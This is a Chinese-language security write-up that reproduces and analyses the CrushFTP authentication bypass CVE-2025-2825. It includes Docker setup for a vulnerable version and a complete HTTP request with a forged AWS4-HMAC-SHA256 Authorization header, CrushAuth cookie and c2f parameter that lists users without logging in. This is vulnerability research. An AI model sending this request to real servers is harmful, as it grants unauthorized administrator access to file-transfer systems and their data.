网络安全之身份验证绕过漏洞

漏洞简介

CrushFTP 是一款由 CrushFTP LLC 开发的强大文件传输服务器软件,支持FTP、SFTP、HTTP、WebDAV等多种协议,为企业和个人用户提供安全文件传输服务。近期,一个被编号为CVE-2025-2825的严重安全漏洞被发现,该漏洞影响版本10.0.0到10.8.3以及11.0.0到11.3.0。这个身份验证绕过漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过暴露的HTTP/HTTPS端口获取管理员权限,进而可能访问敏感数据、修改系统文件或完全控制服务器。

漏洞复现

搭建环境还是利用docker 来进行搭建比较简单方便

复制代码
sudo docker pull crushftp/crushftp11:11.3.0_0
sudo docker run --privileged -p 8080:8080 -p 9090:9090 -p 8443:443 crushftp/crushftp11:11.3.0_0

构造数据包

复制代码
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=aaaa HTTP/1.1
Host: 192.168.220.129:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.220.129:8080
Referer: http://192.168.220.129:8080/WebInterface/UserManager/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CrushAuth=1111111111111_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Connection: close

成功实现未授权操作,绕过身份验证查看到用户列表

漏洞分析

尝试进入docker 容器内部查看文件进行分析,但是提示这些错误

这是因为使用了极简容器镜像,不包含 shell 或者常见命令行工具,这类镜像通常只包含运行特定应用所需的最小组件,没有shell 环境,因此无法像普通容器那样交互式使用。搜索出来多种解决办法我认为以下两种方法是比较靠谱的

  • 导出容器为tar文件 docker export 5f > container5f.tar
  • 复制容器根目录到宿主机目录下 docker cp 5f:/ ./container5f (我采用的这种方法)

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#loginCheckHeaderAuth

一个标准的 S3 授权头格式是

复制代码
Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/20230101/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024
  • AWS4-HMAC-SHA256 - 表示使用的签名算法
  • Credential - 包含以下信息,由斜杠分隔:
    • 访问密钥 ID:AKIAIOSFODNN7EXAMPLE
    • 请求日期 (YYYYMMDD):20230101
    • AWS 区域:us-east-1
    • 服务名称:s3
    • 终止字符串:aws4request
  • SignedHeaders - 包含在签名计算中的请求头列表,用分号分隔
  • Signature - 请求的签名,是一个16进制编码的字符串

这段代码首先从授权头中提取用户标识,从 Credential 参数的等号后开始,到第一个斜杠停止,将提取出来的部分作为username ,接着判断用户名中是否包含波浪号(~),如果包含则 lookup_user_pass 设置为 false。之后调用 login_user_pass 继续处理。

CrushFTP.jar!/crushftp.handlers.SessionCrush#login_user_pass(boolean, boolean, String, String)

整个代码实在是太长,所以精简,只显示出关键部分。我们知道从 loginCheckHeaderAuth 传过来时

this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)

  • lookupuserpass == anyPass == true

  • false == doAfterLogin == false

  • username == username == username

  • lookupuserpass ? "" : userpass == userpass ==""

    function login_user_pass(anyPass, doAfterLogin, user_name, user_pass):
    // 初始化变量
    boolean verified = false
    boolean otp_valid = false

    复制代码
      // 准备验证密码
      String verify_password = user_pass
    
      // 验证用户凭据
      verified = verify_user(user_name, verify_password, anyPass, doAfterLogin)
    
      // 处理OTP验证逻辑(部分省略)
      if (verified && this.user != null && this.user.getProperty("otp_auth").equals("true")):
          // OTP验证逻辑...
          // 如果验证成功,设置otp_valid = true
    
      // 最终登录判断
      if (verified && (this.user == null || !this.user.getProperty("otp_auth").equals("true")) || verified && otp_valid):
          // 用户登录成功
          this.uiPUT("user_logged_in", "true")
          return true
      else:
          // 登录失败
          return false

关键处理部分是 verified = verify_user(user_name, verify_password, anyPass, doAfterLogin) 将传入的参数进行处理,其结果对判断用户是否登录起了至关重要的作用。

跟进verify_user 处理部分

CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user(String, String, boolean, boolean)

'CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user 只是一个中间处理:检查系统是否允许登录、处理特殊格式的用户名、检查密码是否有特殊标记等等,最终调用UserTools.ut.verify_user执行实际的验证工作

复制代码
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser, thePass, this.uiSG("listen_ip_port"), this, this.uiIG("user_number"), this.uiSG("user_ip"), this.uiIG("user_port"), this.server_item, loginReason, anyPass);

通过UserTools#verify_user 来对用户进行最终的判断

crushftp.handlers.UserTools#verify_user(crushftp.server.ServerStatus, String, String, String, crushftp.handlers.SessionCrush, int, String, int, Properties, Properties, boolean)

可以看到 当最后一个参数 anyPass 为 true 时,仅仅判断用户是否存在,并没有验证密码

为防止CSRF攻击,所以需要 CrushAuth cookie 和 c2f 参数

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#createCookieSession

CrushFTP.jar!/crushftp.handlers.Common#makeBoundarySimple(int)

CrushAuth cookie 是按照指定格式创建的,前13个字符为时间戳 (new Date()).getTime()) 拼接下划线(_) 拼接30个字符的随机字符串(Common.makeBoundary(30))

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#parsePostArguments

复制代码
if (ServerStatus.BG("csrf") && ("," + ServerStatus.SG("whitelist_web_commands") + ",").indexOf("," + globalItems.getProperty("command") + ",") < 0 && this.thisSession.user_info.getProperty("authorization_header", "false").equals("false") && !globalItems.getProperty("c2f", "").equals(data_item.substring(data_item.length() - 4)) && !globalItems.getProperty("c2f", "").equals(ServerStatus.thisObj.common_code.decode_pass(this.thisSession.user.getProperty("password")))) {
    this.thisSession.uiVG("failed_commands").addElement("" + (new Date()).getTime());
    if (lastUploadName != null && activeUpload != null) {
        activeUpload.put(lastUploadName, LOC.G("ERROR") + ": FAILURE:Access Denied. (c2f)");
    }

    throw new Exception("FAILURE:Access Denied. (c2f)");
    }

只有当 c2f 参数既不匹配 cookie 末尾4个字符,也不匹配解码后的用户密码时,会抛出异常

漏洞修复

修改了登录校验的方式

相关推荐
NAGNIP9 小时前
一文搞懂深度学习中的通用逼近定理!
人工智能·算法·面试
冬奇Lab10 小时前
一天一个开源项目(第36篇):EverMemOS - 跨 LLM 与平台的长时记忆 OS,让 Agent 会记忆更会推理
人工智能·开源·资讯
冬奇Lab10 小时前
OpenClaw 源码深度解析(一):Gateway——为什么需要一个"中枢"
人工智能·开源·源码阅读
AngelPP14 小时前
OpenClaw 架构深度解析:如何把 AI 助手搬到你的个人设备上
人工智能
宅小年14 小时前
Claude Code 换成了Kimi K2.5后,我再也回不去了
人工智能·ai编程·claude
九狼14 小时前
Flutter URL Scheme 跨平台跳转
人工智能·flutter·github
ZFSS15 小时前
Kimi Chat Completion API 申请及使用
前端·人工智能
天翼云开发者社区16 小时前
春节复工福利就位!天翼云息壤2500万Tokens免费送,全品类大模型一键畅玩!
人工智能·算力服务·息壤
知识浅谈16 小时前
教你如何用 Gemini 将课本图片一键转为精美 PPT
人工智能
Ray Liang16 小时前
被低估的量化版模型,小身材也能干大事
人工智能·ai·ai助手·mindx